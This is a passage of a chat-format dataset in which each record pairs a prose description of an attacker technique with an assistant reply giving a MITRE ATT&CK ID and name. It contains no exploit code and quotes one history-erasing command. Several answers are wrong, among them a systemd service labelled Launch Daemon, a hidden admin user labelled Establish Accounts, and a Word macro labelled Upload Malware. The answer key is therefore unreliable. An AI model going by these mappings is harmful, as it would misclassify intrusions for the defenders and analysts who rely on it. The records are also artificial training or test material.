                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infected device runs a script that reads stored credentials from the Opera browser's password store."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a double extension \"setup.msi.bat\" to hide a batch script behind a Windows installer icon."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised API token to enumerate and download confidential files from a cloud storage service."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool performed a bulk SNMP GET to retrieve configuration entries from the target's MIB."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased a code signing certificate from an online reseller using stolen personal information to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the system's Master Boot Record with malicious code that loads a rootkit before the operating system starts, allowing persistent control."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors configure a proxy chain that includes both compromised internal devices and a publicly accessible proxy to maintain persistence and stealth."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant creates an encrypted channel by encrypting messages with the attacker's public key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script scans the bash history for any occurrences of AWS secret keys typed in the shell."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the write permissions of a trusted installer package on a Windows host, enabling the adversary to swap it with a backdoored installer and hijack the execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs a PowerShell script that uses the Invoke-Expression cmdlet to execute obfuscated code."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a hidden folder using a leading dot (e.g., \".temp\") on a Unix system to hide exfiltration tools."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware extracts credentials stored in the Windows Credential Manager and sends them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script converts file contents into a custom hex-like representation for covert channel."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware locates and decrypts the Firefox \"key4.db\" file to recover the master key for password decryption."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reconfigures the boot options via the BCD edit utility, forcing Safe Mode on next boot to evade security mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a scheduled task that triggers a malicious executable at system startup."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor invokes the libarchive library in C to create a .tgz archive of harvested files."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor establishes an encrypted channel using IPsec to protect C2 traffic from inspection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware drops a DLL that hooks the Win32 CredRead function, extracting stored credentials from the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign copies Outlook PST files from a user's network mapped drive to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining administrative privileges, the attacker runs \"history -c\" to erase the Bash command history on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs the technique of injecting a compiled PE binary into rundll32.exe using the SetThreadContext method."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised domain registrar account to modify DNS records, redirecting users to a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group adds a new service definition to systemd to launch a hidden process during boot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a kernel vulnerability to trigger a panic, causing the endpoint to reboot repeatedly."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a script to delete the Mark‑of‑the‑Web ADS from a malicious payload, bypassing Windows' security warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a reverse shell through a web service that permits both inbound commands and outbound data uploads, enabling stealthy bidirectional C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker tampers with the boot loader configuration, pointing it to a malicious TFTP server that supplies a poisoned OS image."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses the Windows API NetUserEnum function to enumerate local accounts on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a utility to zero out the first 1 MB of the drive, obliterating the boot and partition information."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a credential harvesting campaign, the adversary used the Windows Command Shell to run \"net use\" commands against remote shares."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses HTTP/2 framing to hide malicious commands within normal website traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT employs Pass the Ticket to authenticate to services across the network."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script lists software packages on a Linux system using the dpkg -l command to identify potential targets."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a virtual environment within the victim's system to run its components, thereby evading detection by traditional endpoint monitors."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Make use of fileless malware that resides solely in memory to evade detection by disk-based scans"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module dumps the contents of the Credential Manager by invoking the LSA secrets API."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads an encrypted web shell script to the target's Nginx server, bypassing detection while enabling remote control."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant not only encrypts files but also deletes shadow copies to hinder recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised the web server and altered entries in the MySQL database to change user roles and inject malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By obtaining the KRBTGT secret, the malicious actor creates a Golden Ticket that can be used to authenticate as any domain account, including the built-in Administrator."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Odbcconf, the adversary proxies code execution by abusing the /s switch to silently add a malicious provider."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a recent attack, the attacker performed a credential extraction from Securityd's memory to acquire SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sets the DYLD_INSERT_LIBRARIES variable on macOS to preload a rogue library, hijacking the execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used an insecurely configured Docker registry to upload a malicious image that, when pulled, executes a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group distributes malicious PDFs via spearphishing service, which exploit CVE‑2023‑XXXX when opened."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves editing the PATH variable so that a fake utility is found before the legitimate one, allowing the attacker to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script runs in the background of a victim's Linux host, mining Monero without the user's knowledge."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a malicious Visual Basic script via wscript.exe to download and run a second-stage payload from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending SNMP GET requests with known community strings, the attacker extracts configuration objects from the MIB."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a remote code execution exploit in an outdated content management system to upload a malicious plugin, expanding their toolset."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages public utility records to locate the physical premises of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages insecure TFTP boot settings to load a rogue operating system image before Windows starts."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware campaign distributes a compromised shared object (.so) library on Linux systems, causing privilege escalation when the compromised library is loaded by a privileged service."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware converts files to a base64 string and then uploads them to a remote server via HTTP PUT."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script automates the creation of RDP listener tunnels to forward internal traffic to an external command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During cleanup, the malware empties the Event Viewer logs and also clears the bash history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor creates a hidden admin user on the Linux server and adds it to the sudoers file."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a man-in-the-middle proxy to steal OTP codes from SMS messages, allowing them to bypass the organization's multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits odbcconf.exe to bypass application control by executing a hidden malicious script via the ODBC driver configuration."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a situation where an adversary compromises a system by exploiting a weak password, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe the tactics an attacker might use to evade detection by blending their traffic with legitimate network activity."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors clean up their foothold by removing PowerShell profile entries and uninstalling the persistence module from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document was used to download and store a Trojan binary on the victim's workstation before activation."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider performed a systematic IP sweep of the internal network, noting which addresses responded to probes."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages credential dumping to obtain a privileged account and then disables the original account."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploits Mavinject to inject a malicious payload into the wmiprvse.exe process, leveraging system binary proxy execution for stealth."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor uses the Netsh helper DLL registration to achieve execution on netsh commands."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the task scheduler to run a malicious script at system startup by adding a task to the registry."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad actor performs credential dumping on a compromised VPS after exploiting a known CVE in the hypervisor."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with the TPM to execute a custom bootloader that establishes persistence before OS launch."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware iterates through all numeric entries in /proc, opening each /proc/[pid]/mem to search for NTLM hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals leverage the Kerberos ticket granting service to create forged Ticket Granting Tickets, granting themselves elevated privileges across the domain."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team script copies a DLL to the target system and uses PowerShell's Add-Type to import and inject it into a running process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leveraged Confluence's search endpoint to scrape confidential project documentation."
            },
            {
                "role": "assistant",
